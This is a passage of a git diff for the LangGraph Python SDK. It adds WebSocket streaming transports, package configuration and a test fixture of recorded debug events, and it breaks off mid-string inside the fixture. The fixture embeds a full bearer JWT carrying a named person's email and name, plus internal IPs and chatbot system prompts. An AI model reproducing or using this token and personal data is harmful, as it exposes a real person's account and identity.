list(self._open_responses): + with contextlib.suppress(Exception): + response.close() + self._open_responses.clear() diff --git a/libs/sdk-py/langgraph_sdk/stream/transport/sync_ws.py b/libs/sdk-py/langgraph_sdk/stream/transport/sync_ws.py new file mode 100644 index 0000000..1db8ccd --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/transport/sync_ws.py @@ -0,0 +1,153 @@ +"""Sync WebSocket transport for the v3 thread-centric protocol.""" + +from __future__ import annotations + +import contextlib +from collections.abc import Callable, Iterator, Mapping +from typing import Any, cast + +import httpx +import orjson +from langchain_protocol import Event +from websockets.sync.client import connect as websocket_connect + +from langgraph_sdk._shared.utilities import _quote_path_param +from langgraph_sdk.stream.transport.base import ( + SyncEventStreamHandle, + build_event_stream_body, + build_websocket_url, + websocket_headers, +) + + +class SyncProtocolWebSocketTransport: + """Sync v3 protocol transport using HTTP commands and WebSocket events.""" + + def __init__( + self, + *, + client: httpx.Client, + thread_id: str, + commands_path: str | None = None, + stream_path: str | None = None, + headers: Mapping[str, str] | None = None, + connect: Callable[..., Any] = websocket_connect, + ping_interval: float | None = 20.0, + ping_timeout: float | None = 20.0, + ) -> None: + self._client = client + self.thread_id = thread_id + self._commands_url = ( + commands_path or f"/threads/{_quote_path_param(thread_id)}/commands" + ) + self._stream_path = ( + stream_path or f"/threads/{_quote_path_param(thread_id)}/stream/events" + ) + self._default_headers: dict[str, str] = dict(headers or {}) + self._connect = connect + self._ping_interval = ping_interval + self._ping_timeout = ping_timeout + self._closed = False + + def send_command(self, command: dict[str, Any]) -> dict[str, Any] | None: + if self._closed: + raise RuntimeError("Protocol transport is closed.") + merged_headers = {**self._default_headers, "content-type": "application/json"} + response = self._client.post( + self._commands_url, + content=orjson.dumps(command), + headers=merged_headers, + ) + response.raise_for_status() + if response.status_code in (202, 204): + return None + payload = orjson.loads(response.content) + if not isinstance(payload, dict) or "id" not in payload: + raise RuntimeError("Protocol command did not return a valid response.") + return payload + + def open_event_stream(self, params: dict[str, Any]) -> SyncEventStreamHandle: + if self._closed: + raise RuntimeError("Protocol transport is closed.") + closed = False + stream_error: BaseException | None = None + + url = build_websocket_url(self._client.base_url, self._stream_path) + handshake_headers = list(websocket_headers(self._default_headers)) + cookie_header = _cookie_header(self._client, self._stream_path) + if cookie_header: + handshake_headers.append(("Cookie", cookie_header)) + # Pre-enter the WebSocket context manager so close() can reach the socket + # immediately, even before the caller has started iterating events(). + ws_cm = self._connect( + url, + additional_headers=handshake_headers, + ping_interval=self._ping_interval, + ping_timeout=self._ping_timeout, + ) + websocket = ws_cm.__enter__() + + def events() -> Iterator[Event]: + nonlocal stream_error + try: + # Wrap the initial subscribe in a ``subscription.subscribe`` + # Protocol command envelope so the server's WS endpoint + # (see ``langgraph-api`` ``api/event_streaming.py`` + # ``_thread_websocket``) accepts it. Bare subscribe bodies + # are rejected with ``invalid_argument``. + subscribe_command = { + "id": 1, + "method": "subscription.subscribe", + "params": build_event_stream_body(params), + } + websocket.send(orjson.dumps(subscribe_command).decode()) + for raw in websocket: + if closed: + return + payload = _decode_frame(raw) + if isinstance(payload, dict): + yield cast("Event", payload) + except BaseException as exc: + if not closed: + stream_error = exc + raise + finally: + with contextlib.suppress(Exception): + ws_cm.__exit__(None, None, None) + + def error() -> BaseException | None: + return stream_error + + def close() -> None: + nonlocal closed + closed = True + with contextlib.suppress(Exception): + websocket.close() + + return SyncEventStreamHandle(events=events(), error=error, close=close) + + def close(self) -> None: + self._closed = True + + +def _decode_frame(raw: str | bytes | bytearray | memoryview) -> Any: + if isinstance(raw, str): + return orjson.loads(raw.encode()) + return orjson.loads(bytes(raw)) + + +def _cookie_header(client: httpx.Client, path: str) -> str | None: + """Build a `Cookie` header for the WebSocket handshake. + + Why pass `path`: `dict(client.cookies)` flattens the entire jar without + domain/path filtering, so cookies set by responses from other origins would + leak to the WS server. We delegate to `httpx.Cookies.set_cookie_header`, + which applies the same `CookieJar` rules httpx uses for regular HTTP + requests, scoping the result to `client.base_url` + `path`. + """ + if not list(client.cookies.jar): + return None + target = client.base_url.copy_with(path=path) + request = httpx.Request("GET", target) + client.cookies.set_cookie_header(request) + return request.headers.get("Cookie") diff --git a/libs/sdk-py/langgraph_sdk/stream/transport/ws.py b/libs/sdk-py/langgraph_sdk/stream/transport/ws.py new file mode 100644 index 0000000..af7d30a --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/transport/ws.py @@ -0,0 +1,223 @@ +"""Async WebSocket transport for the v3 thread-centric protocol.""" + +from __future__ import annotations + +import asyncio +import contextlib +from collections.abc import AsyncIterator, Callable, Mapping +from typing import Any, cast + +import httpx +import orjson +from langchain_protocol import Event +from websockets.asyncio.client import connect as websocket_connect +from websockets.exceptions import ConnectionClosedError, ConnectionClosedOK + +from langgraph_sdk._shared.utilities import _quote_path_param +from langgraph_sdk.stream.transport.base import ( + EventStreamHandle, + build_event_stream_body, + build_websocket_url, + websocket_headers, +) + + +class ProtocolWebSocketTransport: + """v3 protocol transport using HTTP commands and WebSocket events.""" + + def __init__( + self, + *, + client: httpx.AsyncClient, + thread_id: str, + commands_path: str | None = None, + stream_path: str | None = None, + headers: Mapping[str, str] | None = None, + connect: Callable[..., Any] = websocket_connect, + max_queue_size: int = 1024, + ping_interval: float | None = 20.0, + ping_timeout: float | None = 20.0, + ) -> None: + self._client = client + self.thread_id = thread_id + self._commands_url = ( + commands_path or f"/threads/{_quote_path_param(thread_id)}/commands" + ) + self._stream_path = ( + stream_path or f"/threads/{_quote_path_param(thread_id)}/stream/events" + ) + self._default_headers: dict[str, str] = dict(headers or {}) + self._connect = connect + self._max_queue_size = max_queue_size + self._ping_interval = ping_interval + self._ping_timeout = ping_timeout + self._closed = False + self._event_streams: set[asyncio.Task[None]] = set() + + async def send_command(self, command: dict[str, Any]) -> dict[str, Any] | None: + if self._closed: + raise RuntimeError("Protocol transport is closed.") + merged_headers = {**self._default_headers, "content-type": "application/json"} + response = await self._client.post( + self._commands_url, + content=orjson.dumps(command), + headers=merged_headers, + ) + response.raise_for_status() + if response.status_code in (202, 204): + return None + payload = orjson.loads(response.content) + if not isinstance(payload, dict) or "id" not in payload: + raise RuntimeError("Protocol command did not return a valid response.") + return payload + + def open_event_stream(self, params: dict[str, Any]) -> EventStreamHandle: + if self._closed: + raise RuntimeError("Protocol transport is closed.") + + loop = asyncio.get_running_loop() + ready: asyncio.Future[None] = loop.create_future() + done: asyncio.Future[BaseException | None] = loop.create_future() + queue: asyncio.Queue[Event | None] = asyncio.Queue(maxsize=self._max_queue_size) + cancel_event = asyncio.Event() + ws_holder: dict[str, Any] = {"ws": None} + + async def pump() -> None: + try: + url = build_websocket_url(self._client.base_url, self._stream_path) + handshake_headers = list(websocket_headers(self._default_headers)) + cookie_header = _cookie_header(self._client, self._stream_path) + if cookie_header: + handshake_headers.append(("Cookie", cookie_header)) + async with self._connect( + url, + additional_headers=handshake_headers, + ping_interval=self._ping_interval, + ping_timeout=self._ping_timeout, + ) as websocket: + ws_holder["ws"] = websocket + try: + # The server's WS endpoint (``ApiWebSocketRoute`` in + # ``langgraph-api`` ``api/event_streaming.py``) treats + # every inbound frame as a Protocol command and + # rejects bare subscribe bodies with + # ``invalid_argument``. Wrap the initial subscribe + # in a ``subscription.subscribe`` command envelope. + # The id is constant (one auto-subscribe per WS + # connection); the resulting success response is + # delivered to the event queue and ignored by the + # SDK fanout (no ``method`` field). + subscribe_command = { + "id": 1, + "method": "subscription.subscribe", + "params": build_event_stream_body(params), + } + await websocket.send(orjson.dumps(subscribe_command).decode()) + if not ready.done(): + ready.set_result(None) + async for raw in websocket: + if cancel_event.is_set(): + break + payload = _decode_frame(raw, done) + if payload is not None: + await queue.put(cast("Event", payload)) + finally: + ws_holder["ws"] = None + except asyncio.CancelledError as err: + if not done.done(): + done.set_result(err) + raise + except ConnectionClosedOK: + # Server sent close code 1000 — clean end, not an error. + if not done.done(): + done.set_result(None) + except ConnectionClosedError as err: + # Abnormal close (1006) or application error (4xxx). + if not ready.done(): + ready.set_exception(err) + if not done.done(): + done.set_result(err) + except Exception as err: + if not ready.done(): + ready.set_exception(err) + if not done.done(): + done.set_result(err) + finally: + if not done.done(): + done.set_result(None) + await queue.put(None) + + task = asyncio.create_task(pump()) + self._event_streams.add(task) + task.add_done_callback(self._event_streams.discard) + + async def aiter() -> AsyncIterator[Event]: + while True: + item = await queue.get() + if item is None or cancel_event.is_set(): + return + yield item + + async def close() -> None: + cancel_event.set() + ws = ws_holder.get("ws") + if ws is not None: + with contextlib.suppress(Exception): + await ws.close(code=1000, reason="client close") + queue.put_nowait(None) + task.cancel() + with contextlib.suppress(asyncio.CancelledError, Exception): + await task + + return EventStreamHandle(events=aiter(), ready=ready, done=done, close=close) + + async def close(self) -> None: + if self._closed: + return + self._closed = True + tasks = list(self._event_streams) + for task in tasks: + task.cancel() + if tasks: + with contextlib.suppress(Exception, asyncio.CancelledError): + await asyncio.gather(*tasks, return_exceptions=True) + + +def _decode_frame( + raw: str | bytes | bytearray | memoryview, + done: asyncio.Future[BaseException | None], +) -> dict[str, Any] | None: + """Decode a raw WS frame into an Event dict. + + Returns None and sets `done` if the frame is invalid JSON or not a JSON object. + """ + try: + payload = orjson.loads(raw.encode() if isinstance(raw, str) else bytes(raw)) + except orjson.JSONDecodeError as err: + if not done.done(): + done.set_result(RuntimeError(f"WS frame is not valid JSON: {err!r}")) + return None + if not isinstance(payload, dict): + if not done.done(): + done.set_result( + RuntimeError(f"WS frame is not a JSON object: {type(payload).__name__}") + ) + return None + return payload + + +def _cookie_header(client: httpx.AsyncClient, path: str) -> str | None: + """Build a `Cookie` header for the WebSocket handshake. + + Why pass `path`: `dict(client.cookies)` flattens the entire jar without + domain/path filtering, so cookies set by responses from other origins would + leak to the WS server. We delegate to `httpx.Cookies.set_cookie_header`, + which applies the same `CookieJar` rules httpx uses for regular HTTP + requests, scoping the result to `client.base_url` + `path`. + """ + if not list(client.cookies.jar): + return None + target = client.base_url.copy_with(path=path) + request = httpx.Request("GET", target) + client.cookies.set_cookie_header(request) + return request.headers.get("Cookie") diff --git a/libs/sdk-py/pyproject.toml b/libs/sdk-py/pyproject.toml new file mode 100644 index 0000000..b90676e --- /dev/null +++ b/libs/sdk-py/pyproject.toml @@ -0,0 +1,99 @@ +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "langgraph-sdk" +dynamic = ["version"] +description = "SDK for interacting with LangGraph API" +authors = [] +requires-python = ">=3.10" +readme = "README.md" +license = "MIT" +license-files = ['LICENSE'] +dependencies = [ + "httpx>=0.25.2", + "orjson>=3.11.5", + "langchain-protocol>=0.0.15", + "langchain-core>=1.4.0,<2", + "websockets>=14,<17", +] + +[tool.hatch.version] +path = "langgraph_sdk/__init__.py" + +[project.urls] +Source = "https://github.com/langchain-ai/langgraph/tree/main/libs/sdk-py" +Twitter = "https://x.com/langchain_oss" +Slack = "https://www.langchain.com/join-community" +Reddit = "https://www.reddit.com/r/LangChain/" + +[dependency-groups] +test = [ + "pytest", + "pytest-asyncio", + "pytest-mock", + "pytest-watch", +] +lint = [ + "ruff==0.15.20", + "codespell", + "ty", + "starlette", +] +dev = [ + { include-group = "test" }, + { include-group = "lint" }, + "langgraph", + "pydantic>=2.12.4", +] + +[tool.hatch.build.targets.wheel] +include = ["langgraph_sdk"] + +[tool.pytest.ini_options] +addopts = "--strict-markers --strict-config --durations=5 -vv -m 'not integration'" +asyncio_mode = "auto" +markers = [ + "integration: end-to-end tests that require a running langgraph-api stack at http://localhost:2024. Excluded from `make test` by default; opt in with `pytest -m integration` (and the autouse fixture skips if the API is unreachable).", +] + +[tool.uv] +default-groups = ['dev'] + +[tool.uv.sources] +langgraph = { path = "../langgraph", editable = true } + +[tool.ruff] +exclude = ["venv", ".venv", "build", "dist"] +[tool.ruff.lint] +select = [ + "E", # pycodestyle errors + "F", # pyflakes + "I", # isort (import sorting) + "ARG", # unused arguments + "TID251", # banned imports + "TID252", # banned relative imports + "T20", # print statements + "UP", # pyupgrade (Python version-specific fixes) + "B", # flake8-bugbear (common bugs) + "SIM", # flake8-simplify (code simplification) + "RUF", # ruff-specific rules + "S101", # flake8-bandit: use of assert +] +ignore = [ + "E501", # line too long (handled by formatter) + "B006", # mutable default arguments (sometimes intentional) + "B904", # raise without from inside except (sometimes intentional) + "SIM102", # nested if statements (sometimes clearer) +] +per-file-ignores = { "tests/**" = ["S101", "B017"], "integration/**" = ["S101", "T20", "B017", "ARG001", "ARG002"] } + +[tool.ty.src] +# The `integration/` graphs run inside the docker image (with `deepagents` +# and other graph-only deps installed there) and are not part of the SDK +# package surface, so we don't typecheck them in the sdk-py venv. +exclude = ["integration"] + +[tool.ty.rules] +no-matching-overload = "ignore" diff --git a/libs/sdk-py/tests/fixtures/response.txt b/libs/sdk-py/tests/fixtures/response.txt new file mode 100644 index 0000000..3d53efe --- /dev/null +++ b/libs/sdk-py/tests/fixtures/response.txt @@ -0,0 +1,239 @@ +event: metadata +data: {"run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","attempt":1} + +event: debug +data: {"step":-1,"timestamp":"2025-09-15T19:26:53.454492+00:00","type":"checkpoint","payload":{"config":{"configurable":{"checkpoint_ns":"","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_id":"1f09269e-f6c0-69e6-bfff-d88e995570cc"}},"parent_config":null,"values":{"messages":[],"documents":[]},"metadata":{"source":"input","step":-1,"parents":{}},"next":["__start__"],"tasks":[{"id":"18cb1707-4751-baec-5607-508b152c99c9","name":"__start__","interrupts":[],"state":null}],"checkpoint":{"checkpoint_id":"1f09269e-f6c0-69e6-bfff-d88e995570cc","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":""},"parent_checkpoint":null}} + +event: debug +data: {"step":0,"timestamp":"2025-09-15T19:26:53.457866+00:00","type":"checkpoint","payload":{"config":{"configurable":{"checkpoint_ns":"","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive 